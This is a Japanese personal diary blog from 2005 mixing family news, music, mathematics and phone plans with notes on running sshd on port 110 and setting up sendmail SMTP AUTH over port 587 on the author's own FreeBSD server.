問題は天文観測系の学者様から反対の声が強いらしいことで、こちらの方面では長年「地球の運動」を時刻の基準としてきた伝統があることと、定義の変更に伴うソフトウエアーの変更(またかよ^^)がかなりの量になるかららしいのです。なので今のところうるう秒が廃止されるかどうかは半々という感じなのだそうな。
話は変わりまして、うるう年というのも慣れてしまったので特に不自然に感じないのですが、このような仕組みがないにこしたことはありません。そもそもうるう年が必要なのは地球の公転する時間が自転する時間の整数倍でないのが原因です。そこで提案。
地球を水星の軌道のあたりにもってく。そうすると地球と月の関係と同様に、地球も太陽の潮汐力でロックされ自転と公転が等しくなる。
やや暑くなりそうなのが欠点ですが、論理的には完璧な案です(笑)。

2005年11月26日(土)

近況
しばらく更新してないので近況を。最近「青柳いづみこ著・ピアニストが見たピアニスト」を読む機会がありました。内容に関してはリンク先に詳しいのでここでは書きませんが、アルゲリッチの章がとても愛情豊かで、さらに演奏の技術的な分析も面白く、とても楽しめました。その影響を受けてか、若い頃少し聴いていたアルゲリッチの演奏(実は仙台で実演を聴いたこともあるのです！)を久々に聴いてみたくなり CD 十枚以上大人買いです(笑)。
アルゲリッチの演奏についての感想はいずれ書きたいと思っているのですが、音楽で感じたことを言葉で表現するのがとっても苦手なので、書きかけて放棄した文章もいくつかあったりします(^^。でも大嫌いな曲(笑)である「リスト・ピアノソナタロ短調」の麻薬的な魅力に満ちた演奏、こちらも支離滅裂で苦手な曲「シューマン・クライスレリアーナ」の信じられない程美しく歌い込んだ演奏についてはいずれ何か書きたいと思っています。
クライスレリアーナについては、上のリンクの青柳さんの本から引用させて頂きますと、
多くの男性諸氏が文字通り「参ってしまった」らしいシューマンの「クライスレリアーナ」は、女性側から見ると、ちょっとヒステリックに聴こえる。
そうなのですが、私は男性なのでもちろん「めろめろに参ってしまった」のであります(^^。

2005年11月22日(火)

巨大モーター
前にも書きましたが、来年一月一日のうるう秒が近づいてきました。あ～やだやだ(^^。お正月は会社に出なきゃいけないし、十分テストしたつもりですが、万が一障害が発生するととっても面倒なことになります。そもそもこの日記を書いてる人は 2000年問題のときろくに調べもしないで、「大丈夫ですよ～」なんて言っておうちでうだうだしてる間に、とあるネットワークを全部ダウンさせた前歴があったりします(殴)。
まあ万が一のことがあったら「過ぎてしまったことは仕方がない(笑)」、と ~~ひらきなおる~~ひらにひらに謝るしかないのですが、いやはやうるう秒ってほんとに面倒な仕組みですな。
うるう秒なんてどうせ大勢に影響がないのでやめちゃえば良いと思うのですが、まあ天体の位置と時刻がずれてくると色々問題があるのと、いまさら次回のうるう秒をやめるということになると大混乱が生じると思われるので、ここで次次回以降のうるう秒に関していくつか提案。
- 30秒くらいまとめて行う。これ一番いいですねー。うるう秒は数年に一度のペースなので私には関係ない(笑)。
- 今までの例では、地球の自転が時間の単位に比して徐々に遅くなり、日本時間で言うと 8時59分60秒の挿入しか発生していないので、前回みんなで西に向かって走れば良い！と提案しました。ところが非常に残念なことに私の勤めてる会社の人はとってもずぼららしく、だれも走らないんですよ。なのでこの案も却下。
- 時間の単位を昔のように地球の回転をもとに決める様改訂する。これって時間の単位が動的に変わる(笑)以外は最高の案だと思うのですが、なぜか回りの賛同を得られずこちらも却下。
うーむ、なかなかうまくゆかないものです。そこで思いついたのが地球を時間に合わせてロックするという画期的なアイディアなのです。話は簡単で、地球の周りに電線を巻き付けて、その両端に電圧可変な電池をつけるだけで良いのです。地球は磁性体なので電圧を調整することにより、あたかもモーターのように回転数が変化するはずです。その場合電線が長くなって大変だ、と思われる方も多いと思います。そこで問題。
地上 1メートルの高さに電線を地球一回りさせる場合地球一回りよりどのくらい長い電線が必要か？
意外なことにちょっと計算すると分かるように答えはたったの 6.28(2π)メートル程度。まあ地球一回り分が大変なのですが(笑)、高さの方の影響たいしたことないのですよ。さらにこのアイディアを利用すると、将来地球の回転が速まってきた場合、電力が得られるという究極の省エネルギー効果も期待出来ます。
というわけで今度こそ完璧なアイディアだと思うのですが、これまた評判がいまひとつなのです。どうしてなのだろう(^^。アイディアというか思想が高尚すぎるのだろうか(笑)。

2005年11月18日(金)

二女合格～
さっきメールが来て、大学受かったそうです(^^。

2005年11月17日(木)

リアルインターネットプラス[1x]
現在私はAH-K3001Vのプランとして、ウイルコム定額プランン+リアルインターネットプラス[1x] を利用しているのです。このプランはウィルコム同士のPHSはかけ放題で、さらに 32K パケット通信でのネット接続も、AH-K3001Vから直接もしくはPCからの接続を問わず定額(2,100円)というものなのです。
ところでそろそろAH-K3001Vも調子が悪くなってきたのと、新しい機種も販売されるということで、色々調べていたのですが、新製品紹介等のからのリンクからでは容易に「リアルインターネットプラス[1x]」に行き着かないのですよ。
代わりに紹介されているのが「データ定額」なるプランでして、こちらは 4x 接続が可能で、PCから接続したときの料金の上限が6,300円、大体 36万パケットくらいで上限に達するらしいのですが、私が使用している一月のパケット数が平均して 100万(笑)。いや、どうしてあんなに遅いのに100 万も使えるのか不思議なのですが、TCPプロトコルの関係でちっちゃいパケットがたくさん飛ぶのと、遅いときほど再送が多く発生して無駄にパケット数だけが増えているような気がします。
いずれにしても 4x で利用すればますますパケット数が増えることは明白で、さらに月 6,300円も払う気は全くないので、「データ定額」は却下です。速度が速くなるのは良いのですが、安価に好きなとき好きな時間だけ接続出来る方がはるかに重要です。
ところで最大の問題は、ウィルコムが「リアルインターネットプラス[1x]」をなるべく営業したくない、ということがホームページ等からひしひしと伝わってくることです。ほんとにほんとに売りたくなさそうです(笑)。ひょっとして安すぎてちっとも儲かってないのか？
たしか今年の 7月から始まったサービスなので、現在サービス中のものをすぐにやめるわけにはいかないでしょうが、新機種の場合(W-ZERO3含む)はよく分かりません。なので、ウィルコムのサポートに問い合わせてみたところ、即日回答が来ました。結論を書きますと、
「リアルインターネットプラス[1x]」は新機種でもサービスを継続します。
ということで一安心したのですが、このサービス、もしくは同等のものを、長期にわたり継続するかは微妙な気がします。継続中のサービスを打ち切るのはなかなか難しいと思うので、今のが壊れる前に新しいのに買い替えちゃった方が良いのかも知れません。買い替える場合、現在の AH-K3001V に対して特に不満もないので、同等の一番安い機種になる可能性が強かったりします(^^。

2005年11月12日(土)

へたってきたAH-K3001V
今使っている京セラのPHS電話 AH-K3001V ですが、そろそろ壊れかかってきたような気がします。
- ふたの液晶になんにも表示されない。ただし着信したとき等、色は変化する。
- ボタンががたついてきていて、押した感触が悪い。
うーんどちらも致命的ではないのですが、ちと不愉快なのですよ(笑)。さらに液晶はたまに表示される場合もあるという謎の挙動をしめすし。そろそろ新端末が発売される頃なのですが、まさか破壊電波を送ってるということはないですよねぇ(^^。これで電池の持ちが極端に悪くでもなってれば、えいや！と買い替えてしまうのですが。
ずいぶん長く使っているような気がしますが、調べてみると、今使っているのをお購入したのは昨年の6月で、まだ一年半くらいしか使ってないのです。買い替える場合最も注意すべきことは Macに接続して使用可能かどうかで、勢い込んで購入しても繋がらなかったなんて事態に陥ったらしゃれになりません。
まあここは「本当に壊れるまで」様子をみることになりそうです。半年位すれば新端末の価格も少しは下がるでしょうし。ちなみにこんど発売される PDAっぽい端末 W-ZERO3 ですが、予算の問題とザウルスでやな思い出があるので(笑) 、今回は候補の対象外なのです。

2005年11月4日(金)

非標準対象
変な題名(^^。例えばゴールドバッハの予想(4以上の偶数はすべて二つの素数の和で書ける)とかリーマン予想が偽であったとします。この場合これらの予想が偽であることが「証明不可能である」ことはありえません。いずれも調べたい対象を「計算可能な方法」で列挙可能で、もし予想が偽であれば、それを満たす対象が見つかるはずだからです。例えばゴールドバッハの予想が成立しない場合、具体的な偶数が存在して、それより小さい素数二つの和にならないことが分かります (素数の音楽より)。
言い換えると上の予想がZFCと独立である場合、ありうるのは次の可能性だけです。
真であるが証明不可能
実はここで考え込んでしまったのです。例えば「ゴールドバッハ予想が真であるが証明不可能」の場合、「ゴールドバッハの予想は偽である」という公理 ZFC にを追加するとどうなるのか、ということ。一瞬矛盾しちゃう様な気がしたのです。
もちろんそんなことはなく、上の事実は全然矛盾をおこさず、ゲーデルの不完全性定理で現れる「私は証明出来ない」と解釈出来る論理式の否定(これは偽) を公理として付け加えると、そのコードは非標準的な自然数と解釈出来るという事実と同様な事態になるのだと思います。
個人的にはそんなことになったらある意味とても面白いと思います。ゴールドバッハ予想の場合の非標準的な偶数なり素数ってどうんなものなのか、リーマン予想の臨界直線上にない非標準的な零点ってどんな感じなのか(臨界直線から無限小離れている？)。興味は尽きないのですが、上の二つの例に関しては、そもそも証明不可能であるという方面のアプローチはうまく行くかどうかも全然分からないし、もちろん証明不可能であることが真であるかも全然分からない訳で、非常に見込みが薄いと考えているのも事実なのであります。
＃引用した「素数の音楽」は一般向けの数学本としては出色の出来映え！
＃500ページを一気に読んでしまいました。おすすめです！！
＃でも20世紀のヒーローであるグロタンディークの近況については
＃ちょっと悲しかったです。

2005年11月2日(水)

危機一髪
今日の朝はいつも降りる駅で寝過ごしてしまい、結局新宿経由で会社にゆくはめになったのです。いや！そんなことはどうでもよくって、あれですよ、あれ！！
新宿から府中に行く電車に乗る直前からちょっと危ない感じがしていたのですが、電車に乗って5分くらいしたら猛烈な腸内圧力が(笑)。笑いごっちゃないって！！しかも急行だからなかなか駅に止まらないのに速度は遅いという。
いっいかん、このままでは大変な惨劇になってしまう(汗)。うーくっくるしい～。
ところでこういうのって波がありまして、押しては引いて引いては押して、と一見正弦曲線のごとく遷移するのですが、苦痛を時間の関数として表すと $\sin(t)$ というよりも $at~+~e^{bt}\sin(ct)\quad\quad(a,b,c$ は定数) という感じで苦痛は指数関数的に増えてゆくのです。しばらくしてるうちにやっとこ次の駅に。ここで一度降りてなんとかすれば良かったのですが、丁度そのときは上の関数のグラフの極小値に位置していたのです。でもって降りるのが面倒になって、まあ目的地の駅まではもつであろう、なんて安易な考えをしてしまったのですよ。ところが駅を出たとたんに関数は再び極大値に(^^。うーんこんなに苦しいのは20代の頃人様の車に乗って田舎を走ってたとき、どうしようもなくなってのぐそをしたとき以来ですよ(←おい)。
仕方がないので気を紛らわすためにPHS から奥様にメールを出したのです。返事はすぐに来て、当然「大変ですね。頑張ってね」という内容に違いないと思ったら、
> 新宿までいっちまった。
> しかも、うんちもれそう！最低(-_-;

ば～か

なる非情な内容なのです。配偶者の一大事だってゆうのに！
てなことしてるうちにやっとこ目的の駅に到着し、危機一髪でことなきを得たのですが、いやはや危険の予兆を感じた場合、早急に対処しないと大変なことになるということを~~実を持って~~身を以て実感したのでした。
＃ばか親でごめん＞モカちゃん(^^

2005年10月31日(月)

じまんばなし
例のごとくモカちゃんのじまんばなしです。いくらじまんばなしを書いても人様に迷惑がかからないのが日記の利点だったりします(^^。本日奥さまが現地に写真を撮りに行ってきました。講評で「自動車会社の人の回答にめげず」と書いてある部分ですが、実はモカちゃんがトヨタ自動車に電話をかけて「最近の車が卵っぽい形をしているのは、その形が前後方向の衝撃に対して丈夫だからなのですか？」と質問したからなのです。
窓口の方が長時間かけて調べて下さり、「丈夫だからという理由ではないようです」ということだったのですが、いやはやどうも面倒な質問に答えて頂きありがとうございます。ちなみにおうちの車はカローラだったりします(^^。
こんどの土曜日に表彰式なのです(^^。

作品講評

2005年10月29日(土)

ssh over port 110
たまに町を歩いてたり電車を待っていると、自由に接続可能な無線 LAN のアクセスポイントが見つかったりします。ただし、こういう場合ポートに制限がかけられている場合が多いようです。さらに今までは経験していないのですが、「インターネット接続可能」なるお題目のホテルに泊まった場合にも、そのような制限があるかも知れません。ポートが制限されていても「確実に」通ると思われるものは次の3つです。
1. HTTP(80)ポート
2. POP3(110)ポート
3. SMTP(25)ポートもしくはsubmissionポート(587)
ということは上のいずれかのポートで sshd が listen するようにしておけば、ポート制限がある媒体を利用してもおうちに ssh で入れそうです。残念ながらおうちのサーバー(FreeBSD/R30)は上のすべてのポートを一般の用途(自宅内向けのみのも含めて)に使用しています。ただしポート110に関しては、ルーターレヴェルで、外部からのアクセスは出来ない設定になっています。そこでとりあえずの実験として、今やバッアップ専用機になっている X24/FreeBSD に外から ssh/POP3 でログインできる環境を作ってみました。当面は X24 経由でサーバーにログイン出来れば十分です。手順はきわめて簡単です。
- X24/FreeBSD の /etc/ssh/sshd_config に
  Port 22 # これも開けとかないとおうちで入るとき不便
  Port 110
  なるエントリーを書く。
- おうちの ADSL モデム件ルーター(MVIII)のポート 110 フォワード先を X24のアドレスに設定する。
そしてレンタルサーバーから
$ ssh -p 110 kagami@evariste.jp

今まで何回かレンタルサーバーからおうちののサーバーにログインしたことがあるので、known_hosts がらみで ssh が文句を言ってきますが、こちらは ~/.ssh/known_hosts の該当エントリーを削除するか、面倒ならば known_hosts ごと削除してしまえば問題ありません。まあこんな設定をしたからといって、特に役立つわけではないのですが、何らかの原因でおうちへ ssh で入れない状態というのはいまいち不安なので、精神衛生上若干好ましい環境になったかも知れません。
＃ルーターにポートを変換してフォワードする機能があればサーバーに
＃直接は入れるのですが、残念ながらその機能はないようです。

2005年10月27日(木)

モカちゃん優秀賞をもらう
昨年、藤沢市教育委員会主催の「第３５回藤沢市総合かがく展夏休み自由研究児童生徒の部」で最優秀賞を受賞したモカちゃんですが、今年の「第３６回藤沢市総合かがく展」では優秀賞を受賞しました。自由研究のお題目は「たまごの形の研究」。内容のメインは卵の破壊実験なので(笑)、夏休み中 200個以上割りました。なので当時ののおかずは卵ばっかりでした。
いや～、昨年書いたように最優秀賞と優秀賞の出来映えはほとんど差がないので、さすがに二年連続最優秀賞は難しいと思っていたいたのですが、優秀賞は密かに期待していたのですよ(←おやばか)。そんなばか親の期待通りほんとに受賞してしまうとは、さすがモカちゃん！！とってもとってもうれしいな(^^。

2005年10月26日(水)

今日のスパム
おうちでは SpamAssassin と bsfilter の組み合わせでスパム対策を行っているのですが、その効果たるや絶大で、一週間に数通すりぬけてくるだけなのです。そしてすりぬけたスパムメールは bsfilter にスパムとして学習させ、フィルター効果を高める運用を行っているのです。
ところで本日のこんなのが入ってきたのですよ。
From: 女性の名前
Subject: 大変でしたね

昨夜は凄い渋滞でしたね。
わざわざ送って頂きありがとうございました。
是非また誘ってください。
取り急ぎ御礼まで

http://出会い系っぽいURL
むむむのむ、一瞬まともなメールかと思ってしまった。いや、もちろん女性からこういうメールが来る可能性はないのですが(笑)。ただしこのメールはフィルターに学習させるかどうか迷うところです。ごくまれに超短文のスパムでないメールが bsfilter に捕獲される場合もあるし、最近はスパムの量が多いので(それでも一日 50通程度というのはまだましなのね^^)、一度スパム箱に入ってしまうと探し出すのが難しいのですよ。おそらくスパム業者も学習はするのでしょうから、今後こういう「一見まともな」文面のスパムが増えてくるかも知れませんが、そうなるとフィルターの運用も難しくなりそうで、下の記事のようにスパムに対する不毛な作業は増えるばかりなのです。

2005年10月23日(日)

SMTP AUTH over PORT 587
おうちで契約している IIJmio の DSL/DF プランは、ネットワーク層のみのサービスにもかかわらず、ポート 25 による携帯への接続をブロックするという愚挙を開始したことは以前この日記にも記述しました。
現在の運用では、家族の PC すべての送信メールは自宅 FreeBSD サーバーを認証なしで経由して、アイネットディのメールサーバー・ポート 25 に対し POP before SMTP でメールを転送しているので当面実害はないのですが、 wakwak の例などをみると、いずれポート 25 への接続はすべて禁止！なるさらなる暴挙に及ぶ可能性もかなり強いと推測されるのです。従ってこの件に関しては事前に何らかの対策を講じておく必要があります。
ところでアイネットディの資料によりますと、メール転送に SMTP 認証を利用した場合、接続用にポート 25(smtp port)とともにポート 587(submission port)も使用出来ると記述されています。もちろん最近の PC のメーラー(MUA) はポート 587 での SMTP 認証クライアントに対応している場合が多いので、それを利用してアイネットディのサーバーに直接接続する、という手段も考えられるのですが、家族全員がお気軽に自宅サーバーの無認証 sendmail を利用してメールを転送する、というとっても運用が簡単であるという現在の利点がなくなってしまいます。
というわけで今まで何回か挫折した自宅サーバーの sendmail による SMTP AUTH でのメール転送への再挑戦です。おうちの FreeBSD のヴァージョンは 4.11-STABLE なのでデフォルトの sendmail は暗号化された SMTP AUTH に対応していません。そこで、まず ports/mail/sendmail-sasl をインストールします。その後は例のごとくたかたにさんのまねなのですが、/etc/mail/ にて次の手順で設定を行います。
mailer.conf を /usr/local/sbin/sendmail 対応に書き換える。
```
[mailer.conf]
sendmail /usr/local/sbin/sendmail
send-mail /usr/local/sbin/sendmail
mailq /usr/local/sbin/sendmail
newaliases /usr/local/sbin/sendmail
hoststat /usr/local/sbin/sendmail
purgestat /usr/local/sbin/sendmail
```
mailertable* を削除する。
```
# rm -f mailertable*
```
FreeBSD-4.X 系の場合 sendmail.cf, submit.cf は次のように管理されています。
freebsd.mc, freebsd.submit.mc なるひな形のファイルが存在し /etc/mail/ でmake を実行するとおうちの場合 evariste.jp.mc と evariste.jp.submit.mc が生成される。さらにこれらのファイルから evariste.jp.cf, evariste.jp.submit.cf が作成されるので、これらのファイルをそれぞれ sendmail.cf submit.cf にリンクしておく(大嘘！本当は make install を使用すれば良い)。要するに通常手作業で編集するのは evariste.jp.mc, evariste.jp.submit.mc ということになります。今回の変更は MSP としての動作は関係ないので(実はこれが分かるまで大変だった)実際に編集するのは evariste.jp.mc(sendmail.mc に対応) ということになります。出来上がってみると簡単でして次の 2行を追加するのみです。
```
[evariste.jp.mc]
FEATURE(`authinfo', `hash -o /etc/mail/authinfo')
define(`SMART_HOST', `esmtp:[smtp.evariste.que.ne.jp]')
```
ここで smtp.evariste.que.ne.jp はアイネットディの私用のメール転送用ホストのアドレスです。また SMART_HOST の定義における esmtp: の部分は単なる SMTP 認証では必要ないのですが、後で重大な役割を担うことになります。
authinfo を編集(作成)する。
/etc/mail/authinfo を次のように編集(作成)します。
```
[authinfo]
AuthInfo: "U:userID" "P:password" "M:DIGEST-MD5"
```
userID, password の部分に認証用のものを具体的に記述するのはもちろんです。さらに次のコマンド群を実行します。
```
# chmod 400 authinfo # 許可を -r-------- とする。
# makemap hash authinfo < authinfo # authinfo.db を作成する。
```
make して sendmail を再起動する。
```
# make
# sh /etc/rc.sendmail restart
```
よーしできた～！！というわけでさっそく実験してみたのですが、実を言いますとここではまりにはまったのです。うーん今まで何回か SMTP AUTH に挑戦してうまく行かなかったので今回は慎重に設定したつもりなのにまたまた嫌われたか？そもそも SMART_HOST じゃなくって宛先に直接接続するんですよ(笑)。
ここで色々設定を見直したり、あきらめかけたりと、とにかくとんでもなく時間がかかったのですが、結論を書きますと、
/etc/mail/sendmail.cf は存在したが evariste.jp.cf とリンクしていなかった(笑)
なるとっても恥ずかしいちょんぼだったのです。おうちのサーバーも長年運用しているので、いつの間にか変な風になってしまったようで。← (後記 make install を知らなかったのが本当の問題でした。) 今まで何回も失敗したのはこのせいだったのね(汗)。さっそくリンクを行って再実行したところうれしいことに、/var/log/maillog に
```
Oct 23 03:10:21 evariste sm-mta[12616]: STARTTLS=client, \
relay=smtp.evariste.que.ne.jp, version=TLSv1/SSLv3, verify=FAIL, \
cipher=DHE-RSA-AES256-SHA, bits=256/256
```
という感じのメッセージが出力され verify=FAIL がいまいち良く分からないのですが、とにもかくにもメールは正しく転送され、SMTP AUTH 自体はは成功したようで、さらにメールの本文も暗号化されるという利点もあるようです。
ところで、ここまでの作業で POP before SMTP から SMTP AUTH に変更出来、これはこれでうれしいのですが、未だに接続用のポートは 25 番を使用していまして、本来の目的、即ち 587番ポートを使用するまでには至っていません。さっそくあちらこちらのそれらき記述があるページをうろついたのですが、
またまたはまりました(笑)。
最近の sendmail は MSA としての listen port は 25(smtp) と 587(submission) 双方受理し、設定により submission port からの接続受理に関して、認証を行うか無認証(この場合通常受理ドメインを制限する)で行うかは選択可能(デフォルトでは無認証)なのですが、転送する時の宛先ポートの設定がなかなか見つからないんですよ！ちなみに submission port での受理に関して認証を強制する場合の設定はこれなのです。
```
[evariste.jp.mc]
EATURE(`no_default_msa')dnl MSA の定義を一度無効にする
DAEMON_OPTIONS(`Port=587,Name=MSA,M=Ea')dnl 再定義 M=E だと無認証(デフォルト)
```
こんなことをやってクライアントから自宅サーバーにポート587で接続すれば、少なくとも認証ありならば外に出て行く場合も 587番ポートで出て行くと思ったらこれもだめ。いやはや参りました。どうも sendmail の MTA 同士のやり取りは 25番ポートが推奨されておりまして、587番で外に出す設定は無理なのか！と一時は考え、最悪 25 番ポートを 587番ポートにリレーするプロセスを書く必要があるのかとさえ思ったのです。ただしリレープロセスを書くのは簡単なのですが、ポートの重複を避けるのが面倒だったり、そもそもこのような標準でないプロセスを使用するのは運用上はなはだ宜しくありません。
そんなこんなで色々調べてみたのですが、こちらも分かってしまえば簡単で、 evariste.jp.mc(sendmail.mc に対応)に次のおまじないを追加すれば良いのです。
```
[evariste.jp.mc]
define(`ESMTP_MAILER_ARGS',`TCP $h 587')
```
注意すべきことは上に書いた SMART_HOST の定義　define(`SMART_HOST', `esmtp:[smtp.evariste.que.ne.jp]')　において esmtp: の部分を省略すると上記定義は有効にならないということです。
結論を述べますと evariste.jp.mc(sendmail.mc に対応)に次の 3行を追加するのと、上に書いた authinfo を作成すれば良いだけなのです。
```
[authinfo]
AuthInfo: "U:userID" "P:password" "M:DIGEST-MD5"

[authinfo.db を作成]
# chmod 400 authinfo # 許可を -r-------- とする。
# makemap hash authinfo < authinfo # authinfo.db を作成する。

[evariste.jp.mc]
FEATURE(`authinfo', `hash -o /etc/mail/authinfo')
define(`SMART_HOST', `esmtp:[smtp.evariste.que.ne.jp]')
define(`ESMTP_MAILER_ARGS',`TCP $h 587')
```
いや～久々に本気で設定に時間を費やしましたよ。さらに外部からサーバーとして接続を受理する場合の SMTP AUTH の設定が分かったりして、少しは sendmail の勉強にもなったことと、必要がなければ絶対に途中でやめてたと思うので、ある意味 IIJmio の暴挙に感謝するべきなのかも知れません(笑)。
＃たかたにさんありがとう(^^。

2005年10月22日(土)

チケットをとりにゆく
来年の 1月27日(金)に神奈川県海老名市文化会館小ホールにて浩子さんのコンサートがあるのです。チケットは予約開始の 17日に電話で確保したのですが、受け取り方法として、現地に取りに行く、現金書留で料金を支払い折り返し郵送してもらう、という二通りの方法があるそうなのです。私は藤沢に住んでいまして海老名は比較的近距離なので本日下見を兼ねてチケット受け取りに海老名まで行ってきました。小田急海老名駅から西口に出ると 300メートル程先にレンガ色の建物が見えるのが会場です。ふむふむ、これなら私でも道に迷わないですな(笑)。
余談ですが今回のチケット代はなんとびっくり 2,500円！安いです(^^。おうちからも近いし今までで一番経費がかからないコンサートになりそうです。

2005年10月20日(木)

近況
生きてます(笑)。最近あっちこっち出張が多くてなかなか日記を書く暇がないんですよ(^^。

2005年10月13日(木)

お気楽単位放棄
おうちに帰ったら単位制高校三年の二女が「パパーこれにはんこ押して～」と何やら書類を持ってきたのです。なにこれ？とよくよく見ると「履修放棄届け」なるお題目が書いてあるのです。「せっかく履修したのに放棄しちゃうの？落ちる程出来ないんじゃないでしょ。もったいなくないの」とつっこんだところ二女が言うには、
もう単位は余ってるから4や5取るの難しそうなのは放棄して内申書の評定平均を上げるんだよ(^^;。
とのことなのです。むむむのむ、私が学生の時は単位なんていつもぎりぎりで、さらに見込みがなくなって「授業に出なくなる」という消極的な放棄をしたことはいっぱいあるのですが、「成績を上げる」ために放棄するとはなんと優雅な(笑)。
もひとつ驚いたのが、大学の推薦入試を受けるための成績証明書みたいなのを見たら、なんとこの二年半の欠席時数が 0 なんですよ。いやーこちらも小学校の頃から毎年平均 10日以上「行きたくないよ～」病で休んでいた親の子供とは思えません。案外真面目なんですねえ。
それにつけても父親の方は、今だに「行きたくないよ～」病が年に数回出るという...。いやはや困ったものですな(^^。

2005年10月12日(水)

失敗したキーボード修復
昨日書いたように PowerBook の O-キーが簡単に取れてしまうのです。よくよく見たところ、キートップの裏側にはカニさんのはさみ様な突起が二組ありまして、それでキーボードにはりついているのですね。知らなかった(笑)。ところでさらによく見ると O-キーのカニさんはさみ二組のうち一本が折れているのですよ。こりゃ簡単に取れてしまう訳です。
そこでもう少々作戦を練ればよかったのに、「面倒だ瞬間接着剤でくっつけちゃえ」とキートップの片方の一本だけになった突起の方と、二本残っている突起の間に瞬間接着剤をくっつけて、えいやとはめ込んだのです。さすがに隣のキーを巻き添えにくっつけたりすることもなく、O-キー自身も動かなくなったりはしなかったのですが、いやはやカニさんはさみの遊びって大事なのですね。なんか O-キーだけタッチが変化してしまい、押した感じが良くないし、他のキーより若干重くなってしまったのですよ(汗)。
しばらくの間 O だけ押しても「空振り」という状態が続いたのです。幸い人間こういう状態には順応するもので、O を押す場合だけ無意識に力を調整するようになってきて実害は減ってきたのですが、いまいち不愉快な状況です。 2万円位出すと英語キーボードに変えることができるのらしいのですが、ちょっと高いし、どっかでジャンクのキーボードを手に入れて O だけ取り替えれば良かったのかな。でももう手遅れ、と少々後悔しているのであります。
＃もちろん今更 O を交換しようと無理にはがせば、キーボードごと壊滅するのは
＃間違いありません(^^。

2005年10月11日(火)

飛び散るキーボード
三日連続 Apple 批判ねた(笑)。実は数日前に PowerBook で作業してたらO(オー) のキーが突然ふっとんだのです。幸いにしてすぐに「ぱっちん」とはまったのですが、どうもキーを固定する爪の部分がやや弱くなっているようで、その後一日あたり一二回取れてしまうのですよ。不思議なのははめた直後にわざと力を入れたり角度を付けたり色々な押し方をしても全然取れないのです。それで安心していると数時間後に取れてしまう。
まあ私の PowerBook は会社と自宅でかなり酷使されていまして、普通に使う場合に比べて劣化が速いのは分からんではないのですが、それでもデスクトップのキーボードに比べれば「優しく」使っているつもりなのです。一番困るのはこのまま取れてしまうのが「くせ」になると、その度に爪の部分にダメージが累積し、最終的に使い物にならない状況に陥ることなのです。もしそうなってしまったらどうしよう。IBMのThihkPadみたいに簡単にキーボードの交換も出来そうにないし。
最悪瞬間接着剤でくっつけてしまうことも考えているのですが、回りも巻きこんだりして失敗した場合(そのあたりのキーが全然動かなくなる)、ほんとにキーボードごと交換することになってしまいます。なのでこういう場合よい方法をご存知の方がおられましたら教えて頂けるととってもとってもうれしいのです。

2005年10月10日(月)

謎の DVD リージョンコード
本日始めてアタゴオルは猫の森の DVD を見ようとして PowerBook に挿入したところ、なんと次の様なメッセージが表示されたのです。
前回の DVD とリージョンコードが異なります。残り 4回リージョンコードを変更出来ます。変更しますか(-_-)。
前回と異なるって...。そもそも私はあんまり DVD を見ない人で、今まで PowerBook で見た記憶があるのはクライバー指揮の「ばらの騎士」だけなのですよ。さらに「ばらの騎士」は日本語字幕付きで「アタゴオルは猫の森」とリージョンが異なるとは思えないのですが。
仕方ないので一回分損をしてリージョンを変更したのですが、もしかして「ばらの騎士」と「アタゴオル」を見るたびにリージョン変更が必要で、変更回数寿命が減ってしまうのだろうか？
そんなことになってはたまらないので、もう一度「ばらの騎士」を入れてみたところ、今度は問題なく再生可能な様です。さらにさらに「アタゴオル」を入れたところこちらも問題なし。うーん何が起こったのだろう。確認したところ両方ともリージョンコードは 2 になってるし。それにつけても不愉快なのは DVD のプロパディーを見ると、4回残っているはずの「リージョン変更回数」が 3回しか残っていません。
まあ今後は問題なく使用出来そうだし、ネットを検索するとリージョンコード変更回数をリセットするツールもあるようなのでそれほど困ることはないと思われますが、これって本当に人をばかにした不愉快な仕組みですな。音楽にしろ映像にしろデジタル化が進むたびに不便になるのなんとかならないのですかねぇ。

2005年10月9日(日)

壊れてしまった iPod shuffle イヤホン
6月のお誕生日にモカちゃんに買ってあげた iPod shuffle なですが、本体には別段問題なさそうなのですが、付属のイヤホンの左側の音が割れるようになってしまいました。実際モカちゃんからの指摘で付属イヤホンを PowerBook に繋いで聴いてみたところ、聞くに堪えない状況に陥ってしまったようです。幸いまだ保証期間ということと、普通に使用していての故障なので、恐らく購入したお店に持って行けば無償交換または修理(こんな面倒な修理しないと思うが...)ということになりそうです。
余談ですがモカちゃんに「パパは iPod nano」が欲しいと行ったところ、なにそれ？というので説明をしたところ、「買ってもいいよ。でも買ったら私の shuffle と交換してね」ということなのです(^^。モカちゃんそういうことは shuffle の 512M バイトの容量を使い切ってから言いましょうね。まだ 1/8 位しか使いこなしていないじゃないの(笑)。
＃現在モカちゃんは二女に借りたイヤホンで当座をしのいでいるのです(^^。

2005年10月7日(金)

モカちゃんのメンデルスゾーン
7月にあったモカ姫ピアノの発表会の演奏の CD が出来てきたので mp3 フォーマットに変換してアップです。でもモカちゃんには内緒(^^。
メンデルスゾーン作曲「無言歌集第7巻より『夜曲』Op85-1」
メンデルスゾーン作曲「無言歌集第4巻より『プレストアジタート(胸騒ぎ)』Op53-3」
うーん、 2年前の演奏と比べると、当然とはいえずいぶん上手になったものだと思います。もちろんおやばかなのですが(^^。

2005年10月5日(水)

裏技の秘密
裏技って(笑)。でも今夜眠れないととってもお気の毒なので。えーっとですねぇ！この日記のトップページの最終更新時刻はアップロードのとき自動的に date コマンドの出力が挿入されるのですが、下の「積集合」のねたを仕入れたのが本日の午後 3時頃だったのですよ。そこで忘れないように題目のみアップしたのですが、さすがに仕事中にアップしたのを会社の人に見られるのはちとまずい(てゆうかかなりの人が知ってるんだけど^^)。
なのでアップロード直後おうちに ssh で入って、 index.html を直接 12:55:35 と書き換えたつもりだったのですが、どうやら間違えたようで(^^。 15:55:35 となっているのを昼休み時間に改ざんしようとして、二文字目の 5 の部分を 2 に直したつもりが、最初の文字の 1 を 2 に直してしまったのが真相であると思われるのです。
それはそうとこの記事をアップすると正しい時刻に戻ってしまいつまんないですね。明日中くらいは 25時に改ざんし続ける必要があるのでしょうか(笑)。
積集合という呼び方
本日隣の席の人が話をしているのを聞いてたら「積集合」という言葉が頻繁に出てくるのです。うーん、普通の人は集合の積なんて知らないはずなのに不思議...。ということで、しばらく意味を考えていたところ、どうも二つの集合の共通部分を積集合と呼んでいるらしいのです。
